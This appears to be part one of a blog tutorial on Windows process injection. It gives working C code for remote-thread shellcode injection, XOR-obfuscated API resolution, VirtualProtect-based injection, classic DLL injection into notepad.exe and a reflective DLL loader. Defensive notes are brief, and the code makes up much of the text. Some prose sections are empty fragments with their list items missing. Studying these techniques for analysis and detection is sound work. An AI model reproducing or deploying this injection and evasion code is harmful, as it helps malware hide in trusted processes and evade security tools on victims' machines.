Press enter or click to view image in full size
In cybersecurity, process injection is one of the most important techniques to understand. Whether you work as a malware analyst, penetration tester, or defender, knowing how it works is key for both attacking and protecting systems.
Process injection techniques have become the backbone of modern malware, advanced persistent threats (APTs), and sophisticated cyber attacks. From nation-state actors infiltrating critical infrastructure to cybercriminals deploying ransomware, these techniques enable attackers to hide in plain sight, evade detection systems, and maintain persistent access to compromised systems.
This comprehensive guide delves deep into the world of process injection, providing detailed explanations, practical examples, and real-world scenarios that illustrate how these techniques are employed in actual cyber operations .
Process injection is a sophisticated technique where malicious code is inserted and executed within the address space of another, typically legitimate, process. This method allows attackers to leverage the permissions, network connections, and trusted status of target processes while hiding their malicious activities.
Stealth and evasion: attackers hide malicious code inside legitimate processes such as svchost.exe
or explorer.exe
. Because it runs inside trusted programs, it often goes unnoticed by users and security software.
Privilege Escalation: By injecting into processes with higher privileges, attackers can perform actions they couldn’t execute from their original context.
Persistence: Even if the original malware is detected and removed, injected code can continue running in legitimate processes.
Defense Bypass: Application whitelisting becomes ineffective when malicious code executes within approved processes.
Consider the 2020 SolarWinds supply chain attack. The SUNBURST malware used process injection techniques to hide within legitimate Windows processes, allowing it to remain undetected for months while exfiltrating sensitive data from thousands of organizations worldwide.
Definition and Concept: Local process code injection is the most fundamental technique in the process injection arsenal. This method involves inserting and executing malicious code directly within the memory space of a target process running on the same machine. Unlike remote injection, local injection operates within the same system and typically requires the same or lower privilege levels as the target process.
How It Works: The technique follows a systematic approach: first, the attacker opens a handle to the target process using OpenProcess()
with appropriate permissions. Next, memory is allocated within the target process using VirtualAllocEx()
with executable permissions. The malicious code (shellcode) is then written to this allocated memory using WriteProcessMemory()
. Finally, execution is triggered by creating a remote thread using CreateRemoteThread()
that points to the injected code.
Key Characteristics:
Attack Scenarios: Attackers commonly use this technique to inject code into system processes like explorer.exe
, winlogon.exe
, or svchost.exe
to appear legitimate. Banking trojans frequently target browser processes to steal credentials, while ransomware uses it to inject encryption routines into multiple processes simultaneously.
Defensive Considerations: Modern endpoint protection systems monitor for the telltale API call sequence (OpenProcess → VirtualAllocEx → WriteProcessMemory → CreateRemoteThread) and can easily detect basic implementations. However, the technique remains effective when combined with other evasion methods.
Let’s examine a detailed implementation:
#include <windows.h>
#include <stdio.h>// Shellcode
unsigned char shellcode[] =
"\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
"\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
// ... shellcode bytes
BOOL InjectLocalProcess(DWORD processId, LPVOID shellcode, SIZE_T shellcodeSize) {
HANDLE hProcess = NULL;
LPVOID remoteMemory = NULL;
HANDLE hThread = NULL;
BOOL result = FALSE;
// Step 1: Open target process with required permissions
hProcess = OpenProcess(
PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE, processId
);
if (!hProcess) {
printf("Failed to open process. Error: %lu\n", GetLastError());
return FALSE;
}
// Step 2: Allocate memory in target process
remoteMemory = VirtualAllocEx(
hProcess, NULL, shellcodeSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
);
if (!remoteMemory) {
printf("Failed to allocate memory. Error: %lu\n", GetLastError());
goto cleanup;
}
// Step 3: Write shellcode to allocated memory
if (!WriteProcessMemory(hProcess, remoteMemory, shellcode, shellcodeSize, NULL)) {
printf("Failed to write memory. Error: %lu\n", GetLastError());
goto cleanup;
}
// Step 4: Create remote thread to execute shellcode
hThread = CreateRemoteThread(
hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)remoteMemory,
NULL, 0, NULL
);
if (!hThread) {
printf("Failed to create remote thread. Error: %lu\n", GetLastError());
goto cleanup;
}
printf("Successfully injected code into process %lu\n", processId);
result = TRUE;
cleanup:
if (hThread) CloseHandle(hThread);
if (hProcess) CloseHandle(hProcess);
return result;
}
Definition and Concept: Remote process injection extends the basic injection concept across network boundaries or different security contexts. API obfuscation adds a layer of stealth by hiding the actual function calls used during the injection process. This technique dynamically resolves API functions at runtime, making static analysis significantly more difficult.
Technical Deep Dive: The obfuscation works by encrypting API names and using techniques like:
GetProcAddress()
to resolve function addresses at runtimeWhy It’s Effective: Static analysis tools and basic signature-based detection systems struggle with this technique because:
Evolution in Malware Families: Advanced malware families like APT groups extensively use this technique. For example:
Advanced malware often obfuscates API calls to evade static analysis. Here’s an example using dynamic API resolution:
#include <windows.h>// Function pointer types
typedef LPVOID (WINAPI* VirtualAllocEx_t)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL (WINAPI* WriteProcessMemory_t)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
typedef HANDLE (WINAPI* CreateRemoteThread_t)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
// XOR encryption for API names
char encryptedAPIs[][32] = {
{0x16, 0x29, 0x08, 0x1A, 0x1F, 0x27, 0x2C, 0x00}, // "VirtualAllocEx" XORed with key 0x42
{0x15, 0x08, 0x29, 0x1A, 0x21, 0x00}, // "WriteProcessMemory" XORed
// ... more encrypted API names
};
LPVOID GetObfuscatedAPI(HMODULE hModule, int apiIndex) {
char apiName[64];
char* encrypted = encryptedAPIs[apiIndex];
// Decrypt API name
for (int i = 0; encrypted[i]; i++) {
apiName[i] = encrypted[i] ^ 0x42;
}
return GetProcAddress(hModule, apiName);
}
BOOL ObfuscatedInjection(DWORD targetPID, LPVOID payload, SIZE_T payloadSize) {
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
// Dynamically resolve APIs
VirtualAllocEx_t pVirtualAllocEx = (VirtualAllocEx_t)GetObfuscatedAPI(hKernel32, 0);
WriteProcessMemory_t pWriteProcessMemory = (WriteProcessMemory_t)GetObfuscatedAPI(hKernel32, 1);
CreateRemoteThread_t pCreateRemoteThread = (CreateRemoteThread_t)GetObfuscatedAPI(hKernel32, 2);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
if (!hProcess) return FALSE;
// Rest of injection logic using function pointers
LPVOID remoteBuffer = pVirtualAllocEx(hProcess, NULL, payloadSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!remoteBuffer) {
CloseHandle(hProcess);
return FALSE;
}
// Continue with obfuscated API calls...
return TRUE;
}
Defensive Detection: Security tools can detect this by monitoring for:
Definition and Concept: VirtualProtect-based injection represents a more sophisticated approach that leverages existing memory regions instead of allocating new ones. This technique identifies committed memory regions within the target process, writes malicious code to these regions, and then changes the memory protection to make it executable.
Technical Mechanics: The process involves several critical steps:
VirtualQueryEx()
to find suitable regionsVirtualProtectEx()
to change memory permissions to executableAdvantages Over Traditional Methods:
Memory Region Selection Criteria: Effective implementation requires careful selection of target memory regions:
Real-World Implementation Challenges: Attackers must overcome several technical hurdles:
This technique changes memory permissions to execute code in existing allocations:
BOOL VirtualProtectInjection(DWORD targetPID, LPVOID shellcode, SIZE_T size) {
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
if (!hProcess) return FALSE; // Find suitable memory region in target process
MEMORY_BASIC_INFORMATION mbi;
LPVOID baseAddress = 0;
while (VirtualQueryEx(hProcess, baseAddress, &mbi, sizeof(mbi))) {
if (mbi.State == MEM_COMMIT && mbi.Protect == PAGE_READWRITE &&
mbi.RegionSize >= size) {
break;
}
baseAddress = (LPVOID)((SIZE_T)mbi.BaseAddress + mbi.RegionSize);
}
if (!baseAddress) {
CloseHandle(hProcess);
return FALSE;
}
// Write shellcode
if (!WriteProcessMemory(hProcess, baseAddress, shellcode, size, NULL)) {
CloseHandle(hProcess);
return FALSE;
}
// Change protection to executable
DWORD oldProtect;
if (!VirtualProtectEx(hProcess, baseAddress, size, PAGE_EXECUTE_READ, &oldProtect)) {
CloseHandle(hProcess);
return FALSE;
}
// Execute
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)baseAddress, NULL, 0, NULL);
if (hThread) {
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
CloseHandle(hProcess);
return FALSE;
}
Definition and Fundamental Concept: Classic DLL injection is a cornerstone technique in process injection that forces a target process to load a Dynamic Link Library (DLL) containing malicious code. Unlike direct code injection, this method leverages Windows’ native library loading mechanism, making the injected code appear as a legitimate module within the target process.
Technical Architecture: The technique exploits Windows’ LoadLibrary()
function through the following process:
LoadLibrary()
with the DLL pathDllMain()
function executes automatically upon loadingWhy DLL Injection is Powerful:
DLL Development Considerations: Creating effective injection DLLs requires understanding:
Historical Context and Evolution: This technique gained prominence in the early 2000s and has been extensively used by:
Modern Variations and Adaptations: Contemporary implementations often include:
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>DWORD FindProcessByName(const wchar_t* processName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(pe32);
if (Process32FirstW(hSnapshot, &pe32)) {
do {
if (wcscmp(pe32.szExeFile, processName) == 0) {
CloseHandle(hSnapshot);
return pe32.th32ProcessID;
}
} while (Process32NextW(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
return 0;
}
BOOL InjectDLL(DWORD processId, const wchar_t* dllPath) {
HANDLE hProcess = OpenProcess(
PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE, processId
);
if (!hProcess) {
printf("Failed to open target process\n");
return FALSE;
}
// Calculate DLL path size
SIZE_T dllPathSize = (wcslen(dllPath) + 1) * sizeof(wchar_t);
// Allocate memory for DLL path in target process
LPVOID remoteDllPath = VirtualAllocEx(hProcess, NULL, dllPathSize,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!remoteDllPath) {
printf("Failed to allocate memory in target process\n");
CloseHandle(hProcess);
return FALSE;
}
// Write DLL path to target process
if (!WriteProcessMemory(hProcess, remoteDllPath, dllPath, dllPathSize, NULL)) {
printf("Failed to write DLL path to target process\n");
VirtualFreeEx(hProcess, remoteDllPath, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
// Get LoadLibraryW address
HMODULE hKernel32 = GetModuleHandleW(L"kernel32.dll");
LPVOID loadLibraryAddr = GetProcAddress(hKernel32, "LoadLibraryW");
if (!loadLibraryAddr) {
printf("Failed to get LoadLibraryW address\n");
VirtualFreeEx(hProcess, remoteDllPath, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
// Create remote thread to load DLL
HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)loadLibraryAddr,
remoteDllPath, 0, NULL);
if (!hRemoteThread) {
printf("Failed to create remote thread\n");
VirtualFreeEx(hProcess, remoteDllPath, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
// Wait for DLL loading to complete
WaitForSingleObject(hRemoteThread, INFINITE);
printf("Successfully injected DLL into process %lu\n", processId);
// Cleanup
CloseHandle(hRemoteThread);
VirtualFreeEx(hProcess, remoteDllPath, 0, MEM_RELEASE);
CloseHandle(hProcess);
return TRUE;
}
// Usage example
int main() {
DWORD targetPID = FindProcessByName(L"notepad.exe");
if (targetPID == 0) {
printf("Target process not found\n");
return 1;
}
if (InjectDLL(targetPID, L"C:\\Path\\To\\Your\\malicious.dll")) {
printf("DLL injection successful\n");
} else {
printf("DLL injection failed\n");
}
return 0;
}
Definition and Revolutionary Concept: Reflective DLL injection represents a quantum leap in stealth and sophistication compared to traditional DLL injection. This technique loads a DLL directly from memory without ever touching the disk, bypassing file system monitoring, antivirus scanners, and application whitelisting solutions.
Core Innovation: The breakthrough lies in the DLL containing its own custom loader (reflective loader) that manually maps the DLL into memory, resolves imports, processes relocations, and calls the entry point — essentially replicating what Windows’ native loader does, but entirely in memory.
Technical Architecture Deep Dive:
1. Self-Contained Loading: Unlike traditional DLLs that rely on Windows’ PE loader, reflective DLLs include:
2. Stealth Characteristics:
3. Execution Flow: The process follows a sophisticated sequence:
Advanced Implementation Techniques:
Memory Layout Optimization:
Import Resolution Strategies:
Anti-Analysis Features:
Real-World Applications:
APT Campaigns: Advanced Persistent Threat groups extensively use reflective DLL injection:
Commercial Software: Legitimate applications also use similar techniques:
Detection Challenges: Security solutions struggle with reflective DLL injection because:
Reflective DLL injection is significantly more advanced and stealthy:
// Reflective DLL structure
typedef struct _REFLECTIVE_DLL {
DWORD dwReflectiveLoaderOffset; // Offset to reflective loader function
DWORD dwDllSize; // Size of the DLL
BYTE bDllData[1]; // DLL data starts here
} REFLECTIVE_DLL, *PREFLECTIVE_DLL;// Reflective loader function (simplified version)
DWORD WINAPI ReflectiveLoader(LPVOID lpParam) {
// Get the current location
ULONG_PTR uiLibraryAddress = (ULONG_PTR)lpParam;
// Parse PE headers
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)uiLibraryAddress;
PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + pImageDosHeader->e_lfanew);
// Calculate size needed for DLL
DWORD dwImageSize = pImageNtHeaders->OptionalHeader.SizeOfImage;
// Allocate memory for DLL
LPVOID lpBaseAddress = VirtualAlloc(NULL, dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!lpBaseAddress) return 0;
// Copy headers
memcpy(lpBaseAddress, (LPVOID)uiLibraryAddress, pImageNtHeaders->OptionalHeader.SizeOfHeaders);
// Copy sections
PIMAGE_SECTION_HEADER pImageSectionHeader = IMAGE_FIRST_SECTION(pImageNtHeaders);
for (int i = 0; i < pImageNtHeaders->FileHeader.NumberOfSections; i++) {
if (pImageSectionHeader[i].SizeOfRawData) {
memcpy(
(LPVOID)((ULONG_PTR)lpBaseAddress + pImageSectionHeader[i].VirtualAddress),
(LPVOID)(uiLibraryAddress + pImageSectionHeader[i].PointerToRawData),
pImageSectionHeader[i].SizeOfRawData
);
}
}
// Process relocations
PIMAGE_DATA_DIRECTORY pImageDataDirectory = &pImageNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (pImageDataDirectory->Size) {
PIMAGE_BASE_RELOCATION pImageBaseRelocation = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)lpBaseAddress + pImageDataDirectory->VirtualAddress);
ULONG_PTR uiDelta = (ULONG_PTR)lpBaseAddress - pImageNtHeaders->OptionalHeader.ImageBase;
while (pImageBaseRelocation->SizeOfBlock) {
PWORD pwRelocations = (PWORD)((ULONG_PTR)pImageBaseRelocation + sizeof(IMAGE_BASE_RELOCATION));
DWORD dwNumberOfRelocations = (pImageBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
for (DWORD j = 0; j < dwNumberOfRelocations; j++) {
if ((pwRelocations[j] >> 12) == IMAGE_REL_BASED_HIGHLOW) {
PDWORD pdwRelocation = (PDWORD)((ULONG_PTR)lpBaseAddress + pImageBaseRelocation->VirtualAddress + (pwRelocations[j] & 0x0FFF));
*pdwRelocation += (DWORD)uiDelta;
}
}
pImageBaseRelocation = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pImageBaseRelocation + pImageBaseRelocation->SizeOfBlock);
}
}
// Resolve imports
pImageDataDirectory = &pImageNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
if (pImageDataDirectory->Size) {
PIMAGE_IMPORT_DESCRIPTOR pImageImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((ULONG_PTR)lpBaseAddress + pImageDataDirectory->VirtualAddress);
while (pImageImportDescriptor->Name) {
char* szDllName = (char*)((ULONG_PTR)lpBaseAddress + pImageImportDescriptor->Name);
HMODULE hDll = LoadLibraryA(szDllName);
if (hDll) {
PULONG_PTR pOriginalFirstThunk = (PULONG_PTR)((ULONG_PTR)lpBaseAddress + pImageImportDescriptor->OriginalFirstThunk);
PULONG_PTR pFirstThunk = (PULONG_PTR)((ULONG_PTR)lpBaseAddress + pImageImportDescriptor->FirstThunk);
while (*pOriginalFirstThunk) {
if (*pOriginalFirstThunk & IMAGE_ORDINAL_FLAG) {
*pFirstThunk = (ULONG_PTR)GetProcAddress(hDll, (LPCSTR)(*pOriginalFirstThunk & 0xFFFF));
} else {
PIMAGE_IMPORT_BY_NAME pImageImportByName = (PIMAGE_IMPORT_BY_NAME)((ULONG_PTR)lpBaseAddress + *pOriginalFirstThunk);
*pFirstThunk = (ULONG_PTR)GetProcAddress(hDll, pImageImportByName->Name);
}
pOriginalFirstThunk++;
pFirstThunk++;
}
}
pImageImportDescriptor++;
}
}
// Call DLL entry point
BOOL (WINAPI* pDllMain)(HINSTANCE, DWORD, LPVOID) = (BOOL (WINAPI*)(HINSTANCE, DWORD, LPVOID))((ULONG_PTR)lpBaseAddress + pImageNtHeaders->OptionalHeader.AddressOfEntryPoint);
pDllMain((HINSTANCE)lpBaseAddress, DLL_PROCESS_ATTACH, NULL);
return (DWORD)lpBaseAddress;
}
BOOL ReflectiveInject(DWORD dwProcessId, LPVOID lpDllBuffer, DWORD dwDllSize) {
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (!hProcess) return FALSE;
// Allocate memory for DLL
LPVOID lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, dwDllSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!lpRemoteLibraryBuffer) {
CloseHandle(hProcess);
return FALSE;
}
// Write DLL to target process
if (!WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpDllBuffer, dwDllSize, NULL)) {
VirtualFreeEx(hProcess, lpRemoteLibraryBuffer, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
// Calculate reflective loader address
PREFLECTIVE_DLL pReflectiveDll = (PREFLECTIVE_DLL)lpDllBuffer;
LPVOID lpReflectiveLoader = (LPVOID)((ULONG_PTR)lpRemoteLibraryBuffer + pReflectiveDll->dwReflectiveLoaderOffset);
// Create remote thread to execute reflective loader
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)lpReflectiveLoader,
lpRemoteLibraryBuffer, 0, NULL);
if (!hThread) {
VirtualFreeEx(hProcess, lpRemoteLibraryBuffer, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
Advanced Evasion Scenario: APT groups like Lazarus have used reflective DLL injection to deploy their sophisticated malware toolkits. The technique allows them to:
This first installment covered the basics of process injection and why stealth and evasion matter.
In Part 2 we’ll dive into more interesting, hands-on techniques , think DLL and code injection methods, process hollowing, APCs, and real detection/mitigation tips. Stay tuned for practical examples and step-by-step walkthroughs .